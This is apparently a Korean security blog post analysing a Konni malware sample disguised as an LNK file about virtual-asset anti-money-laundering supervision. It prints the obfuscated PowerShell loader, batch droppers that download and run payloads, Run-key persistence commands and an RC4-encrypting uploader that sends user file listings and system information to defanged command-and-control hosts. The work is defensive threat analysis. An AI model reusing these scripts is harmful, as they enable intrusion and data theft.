북한 해킹 단체 코니(Konni) 에서 만든 악성코드-가상자산사업자 자금세탁방지 감독 방향(2025.2.18)

오늘은 북한 해킹 단체 코니(Konni) 에서 만든 악성코드에서 만든 악성코드인 가상자산사업자 자금세탁방지 감독 방향(2025.2.18)에 대해 알아보겠습니다.
파일명:가상자산사업자 자금세탁방지 감독 방향.lnk
사이즈:2 MB
MD5:c09d17e968b250cadd66ec000d656d19
SHA-1:11f11d2ae39a35e433fe9c8f1b6a79798c447bc7
SHA-256:4a6c23e76524364fe9b9f5ecd46dc73e7714cac93849a380f0d1b746fae3650d
입니다.
일단 기존의 고전적인 방식인 LNK 파일인 것처럼 위장돼 있지만 실제로는 해당 악성코드에서 파워셀 코드가 포함이 되어져 있는 것이 특징입니다.

악성코드 에 포함된 Powershell 코드

악성코드에 포함된 파워셀 코드

StringData
{
 namestring: hwp File
 relativepath: not present
 workingdir: not present
 commandlinearguments:
 /c for /f "tokens=*" %f in ('dir /s /b %system(r)oot%\System32\WindowsPowershell\*(.)exe ^
 | findstr /i rshell.exe') do (if exist "%f" (%f "function position{param($business); 
 <#moment arrange#>$seve(n)th = $business.substring(0,$busin(e)ss.length-4) + ''; <#pl
 iable green#>return $seventh;};function cunning{param($leaf);<#rigid vari(o)us#> re''
 mov''e-''i''tem <#chase tapeworm#> -path $leaf <#sufficient parade#> -force;};function
 feast{param($combining,$assurance,$emp(l)oy,$boat,$desire);<#homage plaintiff#> $open
 ing=Ne''w''-O''bje''ct System.IO.FileStream(<#response coalesce#>$combining,<#runn(i)
 n(g) hospital#>[System.IO.FileMode]::Open,<#grain species#>[System.IO.FileAccess]::Re
 ad);<#fire belong#> $openin(g).Seek(<#learned enhance#>$assurance,[System.IO.SeekOrig
 in]::Begin);<#calling rendering#> $ordinary=$employ*0(x)01;<#distinctly convict#> $wo
 od=New''-''Obj''ec''t byte[] <#infinite proboscis#>$employ; <#assurance tube#> $rovin
 g=N''e''w-O''b''je''ct b(y)te[] <#press crystalline#>$ordinary; <#twenty execution#>$
 opening.Read(<#pertaining outer#>$roving,0,<#length defect#>$ordinary); $opening.Clos
 (e)();$atlantic=0;while($atlantic -lt $employ){<#varieties reveal#>$wood[$atlantic]=$rovi
 ng[$atlantic*0x01] -bxor $boat;$atlantic++;}<#maiden revolut(i)on#> se''t''-''con''ten''t
 $desire <#flame neither#> $wood -Encoding <#assault collar#> Byte;};function protection{p
 aram($interval, $hawk);<#f(l)ank flux#> expand $interval <#humanity accuracy#> -F:* $hawk
 ;};function literature{$contracted = $env:public<#student defeat#> + '\' +<#ha(r)dness re
 ckless#> 'doc'+'um'+'ent'+'s';<#whip foliated#> return $contracted;};function cheer{param
 ($utmost); <#exclusive truck#>$pe(e)vish = Spl''it-''Pa''th $utmost;<#owner fleet#> retur
 n $peevish;};function arboreal{return Ge''t-L''oca''tio''n;};function miss{<#resemble ob(
 l)ong#>return $env:Temp;};function river{$restrict = arboreal; $moisten = resolved -trenc
 h $restrict; <#adherent style#>(i)f($moisten.length -eq 0) {$restrict = miss; <#education
 disposed#>$moisten = resolved -trench $restrict;} return $moisten;};function thin{$temper
 (a)ment = $env:public<#de(a)dly telegraph#> + '\' + 'cabb'+'age.'+'ca'+'b';<#mouse cipher
 #> return $temperament;};function quarter{$procession = $env:public<#t(u)rbulent focus#>+
 '\do'(+)'cume'(+)'nts'(+)'\sta'(+)'rt'+'.vb'+'s';<#prospect eight#> return $procession;};
 function resolved{param($trench); <#fact transien(t)#> $copper=''; [System.IO.Directory]:
 :GetFiles($trench, '*.'+'lnk', [System.IO.SearchOption]::A(l)lDirectories) | <#angry buff
 alo#>ForEa(c)h-Object { <#fifteen unable#> $triangle = [System.IO.FileInfo]::new($_); <#e
 minence subject#> if ($tria(n)gle.Length -eq 0x0019F02C) { <#rumin(a)nt afflict#> $copper
 = $triangle.FullName;}}; return <#file foliage#> $copper;};$term = river;<#instanc(e) tis
 sue#>$without = cheer -utmost $ter(m);<#mourning british#> $ground = position -business $
 term;feast -combining <#magistrate shore#> $term -assurance <#buffalo recording#> 0x00(0)
 0231C -employ 0(x)0000B200 -boat <#invalid domestic#> 0x2B -desire <#shadow artless#> $gr
 ound;<#remote preface#> & $ground;$sore=thin;<#effort read#>feast -combini(n)g <#relief a
 lso#> $term -assurance <#park publish#> 0x0000D51C -employ <#sharp partially#> 0x00013CCD
 -boat <#spit rising#> 0x72 -desire <#w(e)ar chapel#> $sore;<#truth weaving#>cunning -leaf
 $term;$exciting = literature;<#need instance#>protection -interval $sore -hawk <#wither o
 ther#>$ex(c)iting;<#stifle likely#>cunning -leaf $sore;$owner = <#water fabric#>quarter;<
 #housing dexterous#>& $owner;") )
 iconlocation: .hwp
}

악성코드 분석

1 rshell.exe 실행
분석:
Windows 시스템에서 System32\WindowsPowershell 폴더 내부의 rshell.exe 실행 파일을 찾기
존재할 때 실행->rshell.exe는 원격 제어(RAT) 또는 백도어 기능을 수행할 가능성이 높음(네트워크 통신을 수행할 가능성이 크므로 C2(Command & Control) 서버와 연결할 가능성 큼)
netstat -ano`를 통해 네트워크 연결 확인필요
2 feast 함수 (XOR 암호화된 페이로드 복호화)
특정 파일(combining)에서 assurance 오프셋부터 employ 바이트만큼 데이터를 읽음 
데이터를 boat 값으로 XOR 연산 후 desire 파일로 저장 
해당 과정은 XOR 기반 암호화 기법을 사용하여 원본 페이로드를 숨기는 전형적인 기법
XOR 키를 다르게 설정해 여러 개의 페이로드를 복호화 후 실행하는 방식
특정 오프셋(0x0000231C,0x0000D51C)에서 데이터를 읽고 있으며 파일 내부에 다중 페이로드가 존재할 가능성
3 지속성 유지 (VBScript 활용)
start.vbs는 PowerShell에서 실행되는 VBScript 파일 
VBScript 내부에서 WScript.Shell을 호출하여 추가 명령어 실행 가능 
재부팅 후에도 악성 코드가 자동 실행되도록 설정하는 방식
schtasks.exe 나 Run 레지스트리를 변경하여 부팅 시 자동 실행
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run에 등록 즉 컴퓨터 실행할 때마다 나는 계속 실행하겠다. 의미
4 LNK(바로 가기) 변조를 통한 감염 지속 
.lnk (바로 가기) 파일을 검색하여 크기가 0x0019F02C (약 26MB)와 일치하는 파일을 찾음 
특정 크기의 .lnk 파일을 찾는 이유 악성 페이로드를 숨긴 변조된 LNK 파일을 확인하기 위한 것 
일부 악성코드는. lnk 파일에 cmd.exe 또는 powershell.exe를 삽입하여 감염을 유지
C:\Users\Public\Documents 경로에 .lnk 파일 
dir /s /b C:\Users\Public\*.lnk 명령어로 확인필요.
그리고 사람 귀찮게 사용자->공동 폴더에 vbs파일 만들어 놓음 사람 귀찮게 그냥 핵심 몇 개만 하는 걸로

컴퓨터 시작시 자동을 시작 하기 위한 레지스터리 코드

31377651.bat 악성코드 내용

@echo off

pushd "%~dp0"

if exist "59317650(.)bat" (

	reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v startsvc1 /t REG_SZ /d "%~dp0start(.)vbs" /f > nul
	
	call 59317650(.)bat > nul
	call 71388877(.)bat > nul

	del /f /q 59317650(.)bat > nul
)

if not exist "59317650(.)bat" (
	if not exist "upok(.)txt"  (
		call 71388877(.0bat > nul
	)
)

if not exist "f(.)txt" (goto 1)
if exist "f(.)txt" (got(o) EXIT)

:1

call 73808683(.)bat > nul

timeout -t 57 /nobreak

if not exist "f.txt" (goto 1)
if exist "f.txt" (goto EXIT)

:EXIT
del /f /q "f(.)txt"

코드 분석

지속성 유지:HKCU\Software\Microsoft\Windows\CurrentVersion\Run 레지스트리 키에 start.vbs 등록하여 자동 실행
다중 배치 파일 호출 59317650(.)bat,71388877.bat,73808683.bat 등 추가 배치 파일을 실행
자기 삭제 및 은닉: 실행 후 59317650(.)bat 파일을 삭제
무한 루프 감염 지속 시도 f(.)txt 존재 여부를 검사하며 없을 때 73808683(.)bat을 계속 실행
시간 지연을 활용한 탐지 회피 timeout -t 57 을 사용하여 일정 시간대기 후 반복 실행

59317650.bat 에 포함된 VBS 코드

@echo off
pushd %~dp0
set fn=di3726
call 17459411(.)bat "hxxps://vetilministry(.)com/bg/wp-includes/js/inc/get(.)php?ra=iew&zw=lk0100" "%~dp0%fn%(.)zip" "1" > nul
if not exist %~dp0%fn%(.)zip (
	goto END1
)
set dt=1(.)bat
if not "%dt%"=="" (
	call unzip(.)exe -o -P "a0" "%~dp0%fn%(.)zip" > nul
	del /f /q %~dp0%fn%(.)zip > nul
		if exist %~dp0%dt% (
		call %~dp0%dt% > nul
		)		
)
:END1
if exist %~dp0%fn%(.)zip (
	del /f /q %~dp0%fn%(.)zip > nul
)

코드 분석

악성코드 다운로드 및 실행 수행하는 드로퍼

1.작업 디렉터리 설정
현재 실행된 배치 파일의 디렉터리(%~dp0)로 이동  
2.악성 파일 다운로드 (get(.)php)
set fn=di3726->다운로드된 파일명을 di3726(.)zip 으로 설정  
call 17459411(.)bat->17459411(.)bat을 실행하여 악성 파일 다운로드 수행 
hxxps://vetilministry(.)com/bg/wp-includes/js/inc/get.php?ra=iew&(z)w=lk0100  
다운로드된 ZIP 파일 저장 경로:%~dp0di3726(.)zip  
3.다운로드된 파일 존재 여부 확인
di3726(.)zip이 다운로드되지 않았다면 END1로 이동하여 종료  
다운로드 실패 시 추가적인 악성 동작 수행을 하지 않음->네트워크 연결 여부에 따라 동작
4.ZIP 파일 압축 해제 및 실행
set dt=1.bat->압축 해제 후 실행할 파일을 1.bat으로 설정  
unzip.exe 를 사용하여 ZIP 파일을 암호(a0)를 이용해 자동 압축 해제
di3726.zip 삭제하여 증거 인멸
압축 해제된 1.bat 파일이 존재하면 실행  
5.ZIP 파일 삭제 (추가 은닉)
ZIP 파일(di3726.zip)이 존재하면 삭제  
모든 악성 행위 수행 후 증거 인멸

71388877.bat 에 포함된 VBS 코드

@echo off
pushd "%~dp0"

dir C:\Users\%username%\downloads\ /s > %~dp0d1.txt
dir C:\Users\%username%\documents\ /s > %~dp0d2.txt
dir C:\Users\%username%\desktop\ /s > %~dp0d3.txt

systeminfo > %~dp0d4(.)txt

timeout -t 5 /nobreak
call 12637061(.)bat "hxxp://kerkenraad(.)com/src/upload(.)php" "d1.txt"  "%COMPUTERNAME%_down.txt" >nul
call 12637061(.)bat "hxxp://kerkenraad(.)com/src/upload(.)php" "d2.txt"  "%COMPUTERNAME%_docu.txt" >nul
call 12637061(.)bat "hxxp://kerkenraad(.)com/src/upload(.)php" "d3.txt"  "%COMPUTERNAME%_desk.txt" >nul
call 12637061(.)bat "hxxp://kerkenraad(.)com/src/upload.php" "d4.txt"  "%COMPUTERNAME%_sys.txt" >nul

악성코드 개인정보 업로드

코드 분석

1.작업 디렉터리 설정
현재 배치 파일이 실행된 디렉터리(%~dp0)로 이동  
2.사용자 파일 목록 수집
사용자의 다운로드, 문서, 바탕화면 폴더의 모든 파일 목록을 수집 하여 텍스트 파일(d1.txt,d2.txt,d3.txt)로 저장  
3.시스템 정보 수집
systeminfo 명령어 실행 결과를 d4.txt에 저장  
해당 정보에는 운영체제, CPU 정보, 메모리, 네트워크 설정, 설치된 핫픽스 목록 등이 포함됨  
해당 정보를 바탕으로 공격자는 취약한 시스템을 식별하고 추가 공격을 시도 할 수 있음  
4.수집한 데이터 원격 업로드
timeout -t 5:5초 대기
12637061.bat을 실행하여 수집한 데이터를 원격 서버(kerkenraad(.)com/src/upload(.)php)로 업로드 
d1.txt:COMPUTERNAME_down.txt
d2.txt:COMPUTERNAME_docu.txt
d3.txt:COMPUTERNAME_desk.txt
d4.txt:COMPUTERNAME_sys.txt
사용자의 개인 파일 목록 및 시스템 정보가 원격으로 전송되면 목적은 간단하게 데이터 유출 목적 
12637061(.)bat 내부에 HTTP POST 요청을 통해 파일을 업로드

12637061.bat VBS 에 포함된 스크립트

@echo off
pushd %~dp0
set "tgurl(1)2=%~1"
set f(N)12=fn
set fD1(2)=fd
powershell -com(m)and "function hMMuRV(z)xeHK{param ($AfcvK
uWM(p)blm,$masrPfitbojR);$LwicrBsCWb = [System.Text.Encoding]::UTF8(.)GetByte
s($Af(c)vKuWMpblm);    $wHL(P)druWPJe = [System(.)Text(.)Encoding]::UTF8.G(e)
tBytes($masrPfitbojR);$JrIwSHmRyk = New-Object byte[](256);$XCCMUkHmLl = New-
O(b)ject byte[](256);for ($JvKwzXZWxExy = 0; $JvKwzXZWxExy -lt 256; $JvKwzXZWx
Exy++) {$JrIwSHmRyk[$JvKwzXZWxExy] = $JvKwzXZWxExy;$(X)CCMUkHmLl[$JvKwzXZWxExy
] = $wHLPdruWPJe[$JvKwzXZWxExy %% $wHLPdruWPJe.Length];}$IPJdeLArOqe = 0;for 
($JvKwzXZWxExy = 0; $JvKwzXZWxExy -lt 256; $JvKw(z)XZWxExy++) {$IPJdeLArOqe =
($IPJdeLArOqe + $JrIwSHmRyk[$JvKwzXZWxExy] + $XCCMUkHmLl[$JvKwzXZWxExy]) %% 256;$T
gNXddsLwElo = $JrIwSHmRyk[$JvKwzXZWxExy];$(J)rIwSHmRyk[$JvKwzXZWxExy] = $JrIwSHmRy
k[$IPJdeLArOqe];$JrIwSHmRyk[$IPJdeLArOqe] = $TgNXddsLwElo;}$YjuMPGIskCk = New-Obje
ct byte[] $Lwicr(B)sCWb.Length;$JvKwzXZWxExy = 0;$IPJdeLArOqe = 0;for ($soTrWaMhPy
= 0; $soTrWaMhPy -lt $LwicrBsCWb.Length; $soTrWaMhPy++) {$JvKwzXZWxExy = ($JvK(w)z
XZWxExy + 1) %% 256;$IPJdeLArOqe = ($IPJdeLArOqe + $JrIwSHmRyk[$JvKwzXZWxExy]) %% 
256;$TgNXddsLwElo = $JrIwSHmRyk[$JvKwzXZWxExy];$JrIwSHmRyk[$(J)vKwzXZWxExy] = $JrI
wSHmRyk[$IPJdeLArOqe];$JrIwSHmRyk[$IPJdeLArOqe] = $TgNXddsLwElo;$NEmNWCuGLx = ($Jr
IwSHmRyk[$JvKwzXZWxExy] + $JrIw(S)HmRyk[$IPJdeLArOqe]) %% 256;$YjuMPGIskCk[$soTrWa
MhPy] = $LwicrBsCWb[$soTrWaMhPy] -bxor $JrIwSHmRyk[$NEmNWCuGLx];}$lTHULIXpyN = [Sy
(s)tem.Convert]::To(B0ase64String($YjuMPGIskCk);return $lTHULIXpyN;};$MojQIFqLgNU=
(Get-Date).Ticks.ToSt(r)ing();$hWdADYnuwdB='(%)tgurl12%';$sbViLoyZoqJ='%~3';$SHXtY
mQcUue='%~dp0%~2';$rfdwnPCKKWe=gc -Path $SHXtYmQcUue -Raw | Out-String;Add-Type -A
ssemblyNa(m)e 'System.Web';$sbViLoyZoqJ=hMMuRVzxeHK -AfcvKuWMpblm $sbViLoyZoqJ -ma
srPfitbojR $MojQIFqLgNU;$rfdwnPCKKWe=hMMuRVzxeHK -AfcvKuWMpblm $r(f)dwnPCKKWe -mas
rPfitbojR $MojQIFqLgNU;$gtcyjklzRC = [System.Web.HttpUtility]::ParseQueryString(''
);$gtcyjklz(R)C['%fN12%']=$sbViLoyZoqJ;$gtcyjklzRC['%fD12%']=$rfd(w)nPCKKWe;$gtcyj
klzRC['r']=$MojQIFqLgNU;$FZxAoZqYUg=$gtcyjklzRC.ToString();$OUkWbweArF=[System.Tex
t.Encoding]::UTF8.GetBytes($FZxAoZqYUg);$uMn(W)ecstDeQB=[System(.)Net.WebRequ(e)st
]::Create($hWdADYnuwdB);$uMnWecstDeQB.Method='PO'+'ST';$uMnWecstDeQB.ContentType='
appl'+'ic'+'ation/x'+'-ww'+'w-for'+'m-ur'+'le'+'nco'+'ded';$uMnWecstDeQB.ContentLe
ngth=$OUkWb(w)eArF.Length;$YHaWQiwCksd = $uMnWecstDeQB.Ge(t)RequestStream();$YHaW(
Q)iwCksd.Write($OUkWbweArF,0,$OUkWbweArF.Length);$YHaWQiwCksd.Close();$XcfMIVvXZRh
=$uMnWecstDeQB.GetResponse();if($XcfMIVvXZRh.StatusCode -eq [System.Net(.)HttpStat
usCode]::OK){Remove-Item -Path $SHXtYmQcUue;$tyNWpYqglSJ='%~dp0up'+'o'+'k.t'+'xt';
New-Item -ItemT
ype File -Path $tyNWpYqglSJ;}" > nul

악성코드 분석

1.작업 디렉터리 설정
현재 배치 파일이 실행된 디렉터리로 이동  
2.변수 설정
%~1:첫 번째 인수(파일 업로드 대상 URL)  
fN12=fn,fD12=fd:업로드할 데이터 키값 설정  
3.PowerShell RC4 암호화 및 데이터 업로드  
RC4 암호화 함수(hMMuRVzxeHK) 정의
$AfcvKuWMpblm:암호화할 데이터  
$masrPfitbojR:암호화 키  
데이터를 암호화하여 탐지를 우회하려는 기법 사용
공격자가 업로드된 데이터를 RC4 복호화하여 원본 데이터를 확인
4.시스템 고유 값 생성
현재 시간 값을 기반으로 암호화 키 생성
각각의 감염된 시스템마다 다른 키를 사용하여 복호화 방해를 하는 것이 특징 발전했다. 북한
5.전송할 데이터 암호화
$hWdADYnuwdB:원격 업로드 URL (%~1)  
$sbViLoyZoqJ:업로드할 파일 이름 (%~3)  
$SHXtYmQcUue:업로드할 파일의 경로 및 파일명 (%~2)
$rfdwnPCKKWe:업로드할 파일 내용
파일명 및 파일 내용을 RC4 암호화하여 전송 준비
6.HTTP POST 요청을 통한 데이터 업로드
업로드할 데이터를 HTTP 요청 파라미터 형태로 변환
fn=암호화된 파일명,fd=암호화된 파일내용,r=암호화 키
HTTP POST 요청을 통해 외부 서버에 파일 업로드 
PowerShell을 이용해 HTTP POST 요청을 생성
데이터를 원격 서버로 업로드
공격자가 파일 및 시스템 데이터를 원격 으로 탈취 가능 
7.업로드 성공 시 원본 파일 삭제
업로드 성공 시 원본 파일 삭제 (Remove-Item)
upok.txt 파일을 생성하여 전송 성공 여부 기록

가상자산사업자 자금세탁방지 감독 방향 미끼 파일

한방에 요약
1.시스템 및 사용자 파일 정보 탈취 (Infostealer)
systeminfo 명령어를 사용하여 시스템 정보를 수집  
Downloads,Documents,Desktop 폴더의 파일 목록을 수집 (dir /s > 파일저장)  
수집한 데이터를 원격 서버(kerkenraad(.)com)로 업로드
2.원격 악성코드 다운로드 및 실행 (Downloader & Dropper)
PowerShell의 Invoke-WebRequest (iwr)을 사용하여 원격에서 파일 다운로드  
CAB, ZIP등 압축된 형태로 악성 파일을 가져와 expand 또는 unzip.exe로 해제  
다운로드한 temprun.bat 등의 파일을 실행하여 추가적인 악성 행위 수행  
3. 탐지 우회 및 파일 암호화 (Evasion & Obfuscation)
RC4 암호화를 사용하여 악성 URL 및 다운로드된 데이터 암호화
PowerShell을 통해 Windows COM 개체(Shell.Application)를 활용하여 특정 파일 정보 조회  
악성 파일 다운로드 후 자동 삭제 (del /f /q)->증거 인멸 하기 위함
4. 지속성 유지 및 자동 실행 (Persistence)  
HKCU\Software\Microsoft\Windows\CurrentVersion\Run 레지스트리 키에 악성 VBScript(start.vbs) 등록  
.lnk(바로가기) 파일 변조를 통한 자동 실행  
악용 하는 서버원격 서버 (C2, Command & Control)
hxxp://kerkenraad(.)com/src/upload(.)php
수집된 사용자 파일 목록 및 시스템 정보 업로드
call 12637061.bat hxxp://kerkenraad(.)com/src/upload(.)php d1.txt 
2.hxxp://kerkenraad(.)com/src/list.php?f=%COMPUTERNAME%(.)txt
감염된 시스템에 맞춰 악성 파일(.cab) 다운로드
연결 시도: call 17459411.bat hxxp://kerkenraad(.)com/src/list(.)php?f=%COMPUTERNAME%.txt
3.hxxp://vetilministry(.)com/bg/wp-includes/js/inc/get(.)php?ra=iew&zw=lk0100
ZIP 형태의 악성 파일 다운로드
call 17459411.bat hxxp://vetilministry(.)com/bg/wp-includes/js/inc/get(.)php
결론 우리 북한?? 한국 가상자산 즉 가상화폐(암호화페)에도 관심이 많으면 전방위 민관군 등 가리지 않고 공격한다. 항상 주의 포함 우리의 주적은 북한 이다.